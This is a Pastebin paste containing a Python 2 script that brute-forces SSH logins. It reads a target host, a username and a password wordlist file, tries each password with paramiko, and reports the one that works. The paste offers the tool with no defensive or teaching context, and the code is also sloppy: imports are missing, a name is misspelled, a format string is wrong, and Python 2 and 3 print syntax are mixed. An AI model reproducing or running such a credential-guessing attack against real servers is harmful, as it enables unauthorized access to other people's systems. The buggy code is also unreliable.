Advertisement
Guest User

For Mike <3

a guest
Jan 10th, 2019
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.51 KB | None | 0 0
  1. global host, username, line, input_file
  2.  
  3. line = "\-------------------------\n"
  4.  
  5.  
  6. try:
  7. host = input("[*] Target Host Address entered here: ")
  8. username = input("[*] SSH username entered here : ")
  9. input_file = input("[*] SSH password entered here: ")
  10. if os.path.exists(input_file) == False:
  11. print "\n[*] Error! this file path does not exist/not currently available!!"
  12. sys.exit(4)
  13. except KeyboardInterupt:
  14. print " \N\N [*] Interupt requested By User!!!"
  15. sys.exit(3)
  16.  
  17. def ssh_connect(password, code = 0) :
  18. ssh = paramiko.SSHClient()
  19. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  20. try:
  21. ssh.connect(host, port=22, username=username, password=password)
  22. except paramiko.AuthenticationException:
  23. #[*] Authentication failed......
  24. code = 1
  25. except socket.error, e:
  26. #[*] coonection Failed......Host Down"
  27. code = 2
  28.  
  29. ssh.close()
  30. return code
  31.  
  32. input_file = open(input_file)
  33.  
  34. print ""
  35.  
  36. for i in input_file.readlines():
  37. password = i.strip("\n")
  38. try:
  39. response = ssh_connect(password)
  40.  
  41. if response == 0:
  42. print("%s[*] User: %s [*] Pass found: %s%s" % (line, username, password, line))
  43. sys.exit(0)
  44. elif response == 1:
  45. print("[*] User: &s [*] Pass: %s => Login Incorrect !!!!! <=" % (username, password))
  46. elif response == 2:
  47. print("[*] Connection Was Not Established To The Address: %s" % (host))
  48. sys.exit(2)
  49. except Exception, e:
  50. print e
  51. pass
  52. input_file.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement